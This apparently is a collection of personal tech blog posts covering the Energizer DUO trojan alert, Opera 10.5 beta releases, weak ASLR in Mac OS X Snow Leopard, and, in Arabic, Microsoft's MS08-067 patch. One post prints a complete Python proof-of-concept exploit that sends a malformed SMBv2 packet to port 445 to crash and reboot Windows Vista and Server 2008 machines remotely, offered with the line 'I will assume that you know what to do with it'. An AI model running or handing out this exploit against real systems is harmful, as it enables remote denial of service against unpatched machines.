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I received this interesting news today from my friend Lance. he said that he have read of several instances where hardware was infected but this is the first time he seen it officially reported in a CERT alert. The Energizer DUO, a USB-powered battery recharger was distributing malicious code that infected windows systems.

The hardware device itself does not infect the computer.  Instead the infection happens from the software that comes with the device.  Energizer is currently working with CERT to learn how their software was infected.  In addition, only 9 out of 42 anti-virus products were able to detect the virus.

Lesson learned, it does not matter where you get the software from, scan it before installing it.  Be sure your policies are enforcing this.

Technical details about this trojan can be found here

via: HoneyTech Security Update

The fastest brwoser on earth for windows platform has been released & you can download it from here.

Just a reminder of what’s new in this release:
1- New Look
2- HTML 5 + CSS 3 support
3- Private browsing
4- Superfast JavaScript engine
5- Smother graphic rendering
6- Privet browsing
7- Fully integrated with windows 7 superbar

Yesterday, Opera team released Opera 10.5 beta 2

no major changes only bug fixes as far as i can see

if anyone interested in detailed change log it can be found here.

Click here to download

Benchmark Results by Betanews

Opera team released a new version of my favorite browser opera (Opera 10.5 beta 1). I really love the new GUI it’s  simple and beautiful. Yes, there is some similarity between the look & feel of opera 10.5 and Google chrome but to me opera looks more elegant.

The benchmarks that i saw today says that Opera 10.5 beta 1  is the fastest browser it’s even faster than chrome v5 dev version. here is a short list of what’s new in Opera 10.5 beta 1

1- Redesigned interface (much better than opera 10.1)
2- HTML 5 + CSS 3 support
3- Private browsing
4- Much Much faster JavaScript engine
5- Smother graphic rendering

You can download it and try it from here ( http://www.opera.com/browser/next/) just rememeber it’s a beta version so don’t expect it to be bug free. Currently, Opera 10.5 beta 1 only available for windows platform.

Side Note: Sorry for the podcast delay i’m really really sorry but i’m busy with projects that I’m comittieted to deliver on time so it’s taking all my time for now the minute I have a space to breath I promise you that I will release the first episode of whatiknow podcast . Thank you for your understanding.

Snow Leopard lacks security features that are built in to Windows XP, Windows Vista and Windows 7, a noted Mac researcher has said. Dubbed ASLR, for address space layout randomization, the technology randomly assigns data to memory to make it tougher for attackers to determine the location of critical operating system functions, and thus make it harder for them to craft reliable exploits.

“Apple didn’t change anything,” said Charlie Miller, of Baltimore-based Independent Security Evaluators, the co-author of The Mac Hacker’s Handbook, and winner of two consecutive “Pwn2own” hacker contests. “It’s the exact same ASLR as in Leopard, which means it’s not very good.”

Interesting news isn’t it you can continue reading @ the source here

There is a flaw in SMB2.0 which exists (I mean the SMBv2 itself not the vulnerability) in windows vista, 2008,7 and 2008 R2 but only Windows Vista & 2008 are vulnerable. If you exploited this flaw successfully you will crash & reboot any vista or 2008 remotely (of course only if SMB 445 port open ). Anyhow here is the exploit code it’s written in python & I will assume that you know what to do with it

# SecurityReason Note :
# Tested on : Windows Vista SP2 full updated – US-en
#
#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” header field it
dies with a
# PAGE_FAULT_IN_NONPAGED_AREA B.S.O.D

from socket import socket
from time import sleep

host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –> normal operation should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

على غير عاده مايكروسوفت (مايكروسوفت تصدر التحديثات كل ثلاثاء) راح تقوم باصدار تحديث اليوم لثغره خطيره جداا تم اكتشافها في نظام تشغيلها ويندوز ومن الممكن ان يتم استغلال هذه الثغره عن بعد ويعطي الهاكر كامل الصلاحيات على جهازك. وبناء على تصريح مايكروسوفت الثغره هذه موجوده بانظمه ويندوز من ويندوز 2000 الى ويندوز 2008 .. وتنصح مايكروسوفت بسرعه تثبيت التحديث بعد اصداره مباشره لحماية نظامك من الهاكرز

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تحديث الساعه 12:03 مساء

التحديث نزل من مايكروسوفت المفروض يجيكم عن طريق التحديث التلقائي للنظام  واللي ماطلعت عنده يدخل على هاللنك ويحمل التحديث ويركبه  MS08-067 المشكله في Server سرفس وتحديدا في مشكله في RPC Handling طبعا مستوى خطوره الثغره بانظمه اكس بي و 2000 و 2003 اعلى من فيستا و 2008.